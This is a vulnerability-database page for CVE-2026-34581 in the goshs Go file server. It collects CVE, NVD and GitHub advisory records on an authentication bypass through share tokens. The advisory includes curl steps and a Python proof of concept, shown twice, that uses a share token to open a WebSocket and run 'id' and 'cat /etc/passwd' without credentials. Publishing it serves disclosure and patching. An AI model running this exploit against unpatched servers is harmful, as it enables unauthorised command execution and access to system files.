Vulnerability-Lookup

CVE-2026-34581 (GCVE-0-2026-34581)

Vulnerability from cvelistv5 – Published: 2026-04-02 18:04 – Updated: 2026-04-03 17:01

Title

goshs has Auth Bypass via Share Token

Summary

goshs is a SimpleHTTPServer written in Go. From version 1.1.0 to before version 2.0.0-beta.2, when using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec. This issue has been patched in version 2.0.0-beta.2.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-03 16:19 UTC

CWE

CWE-288 - Authentication Bypass Using an Alternate Path or Channel

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7674 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/patrickhener/goshs/security/ad…	x_refsource_CONFIRM
https://github.com/patrickhener/goshs/commit/6fb2…	x_refsource_MISC
https://github.com/patrickhener/goshs/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
patrickhener	goshs	Affected: >= 1.1.0, < 2.0.0-beta.2	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-34581

Vulnerability from fkie_nvd - Published: 2026-04-02 19:21 - Updated: 2026-07-24 21:10

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216	Patch
security-advisories@github.com	https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2	Product, Release Notes
security-advisories@github.com	https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	goshs	goshs	*
	goshs	goshs	2.0.0

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "goshs",
          "vendor": "patrickhener",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.1.0, \u003c 2.0.0-beta.2"
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      "value": "goshs is a SimpleHTTPServer written in Go. From version 1.1.0 to before version 2.0.0-beta.2, when using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec. This issue has been patched in version 2.0.0-beta.2."
    },
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      "lang": "es",
      "value": "goshs es un servidor HTTP simple escrito en Go. Desde la versi\u00f3n 1.1.0 hasta antes de la versi\u00f3n 2.0.0-beta.2, al usar el Token de Compartir es posible eludir la descarga limitada de archivos seleccionados con todas las funcionalidades de gosh, incluyendo la ejecuci\u00f3n de c\u00f3digo. Este problema ha sido parcheado en la versi\u00f3n 2.0.0-beta.2."
    }
  ],
  "id": "CVE-2026-34581",
  "lastModified": "2026-07-24T21:10:00.143",
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}

GHSA-JGFX-74G2-9R6G

Vulnerability from github – Published: 2026-04-01 20:58 – Updated: 2026-04-06 17:32

Summary

goshs has Auth Bypass via Share Token

Details

Summary

When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

Details

The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.

// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
    _, ok := fs.SharedLinks[token]
    if ok {
        next.ServeHTTP(w, r)  // Full auth bypass
        return
    }
}
// ... normal auth checks never reached

A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.

1. Create a webroot:

mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt

2. Start goshs with auth + TLS + CLI mode:

/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000

CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage — not a weakened config.

3. Verify authentication is required:

curl -sk https://localhost:8000/
Not authorized

4. As a legitimate user, create a share link:

curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

Response:

{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}

Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).

5. Prove the token bypasses auth for WebSocket:

# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401

# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101

For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.

PoC

import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"  # ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")

# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()

A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T20:58:48Z",
    "nvd_published_at": "2026-04-02T19:21:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen using the `Share Token` it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.\n\n### Details\n\nThe `BasicAuthMiddleware` checks for a `?token=` parameter **before** checking credentials. If the token exists in `SharedLinks`, the request passes through with **no auth check at all**. The handler then processes all query parameters \u2014 including `?ws` (WebSocket) which has higher priority than `?token`.\n\n```go\n// middleware.go:22-30 \u2014 token check runs FIRST\ntoken := r.URL.Query().Get(\"token\")\nif token != \"\" {\n    _, ok := fs.SharedLinks[token]\n    if ok {\n        next.ServeHTTP(w, r)  // Full auth bypass\n        return\n    }\n}\n// ... normal auth checks never reached\n```\n\nA share token is designed for **single-file, time-limited downloads**. But the middleware bypass grants access to everything \u2014 directory listing, file deletion, clipboard, WebSocket, and CLI command execution.\n\n\n**1. Create a webroot:**\n\n```bash\nmkdir -p /tmp/goshs-webroot\necho \"shareable file\" \u003e /tmp/goshs-webroot/shareable.txt\n```\n\n**2. Start goshs with auth + TLS + CLI mode:**\n\n```bash\n/tmp/goshs-test -d /tmp/goshs-webroot -b \u0027admin:password\u0027 -s -ss -c -p 8000\n```\n\n\u003e CLI mode requires auth (`-b`) and TLS (`-s -ss`). This is the documented usage \u2014 not a weakened config.\n\n**3. Verify authentication is required:**\n\n```bash\ncurl -sk https://localhost:8000/\nNot authorized\n```\n\n**4. As a legitimate user, create a share link:**\n\n```bash\ncurl -sk -u admin:password \u0027https://localhost:8000/shareable.txt?share\u0027\n```\n\nResponse:\n```json\n{\"urls\":[\"https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA\"]}\n```\n\nSave the token value (e.g., `gMP-w0hXRs-Q-FEZku63kA`).\n\n**5. Prove the token bypasses auth for WebSocket:**\n\n```bash\n# Without token \u2192 401 (blocked)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n  -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  \u0027https://localhost:8000/?ws\u0027\n# 401\n\n# With token \u2192 101 Switching Protocols (auth bypassed!)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n  -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  \u0027https://localhost:8000/?ws\u0026token=gMP-w0hXRs-Q-FEZku63kA\u0027\n# 101\n```\n\nFor a Full PoC, you can run the python file attached below, it will run `id` and `cat /etc/passwd`.\n\n\n\n\n### PoC\n\n``` python\nimport json, ssl, websocket\n\nTOKEN = \"gMP-w0hXRs-Q-FEZku63kA\"  # \u2190 replace with your token\n\nws = websocket.create_connection(\n    f\"wss://localhost:8000/?ws\u0026token={TOKEN}\",\n    sslopt={\"cert_reqs\": ssl.CERT_NONE},\n)\nprint(\"[+] Connected WITHOUT credentials!\")\n\n# Execute \u0027id\u0027\nws.send(\u0027{\"type\":\"command\",\"Content\":\"id\"}\u0027)\nimport time; time.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp[\u0027content\u0027]}\")\n# uid=501(youruser) gid=20(staff) ...\n\n# Execute \u0027cat /etc/passwd\u0027\nws.send(\u0027{\"type\":\"command\",\"Content\":\"cat /etc/passwd\"}\u0027)\ntime.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp[\u0027content\u0027]}\")\n\nws.close()\n```\nA patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.",
  "id": "GHSA-jgfx-74g2-9r6g",
  "modified": "2026-04-06T17:32:15Z",
  "published": "2026-04-01T20:58:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34581"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs has Auth Bypass via Share Token"
}

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Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-34581 (GCVE-0-2026-34581)

FKIE_CVE-2026-34581

GHSA-JGFX-74G2-9R6G

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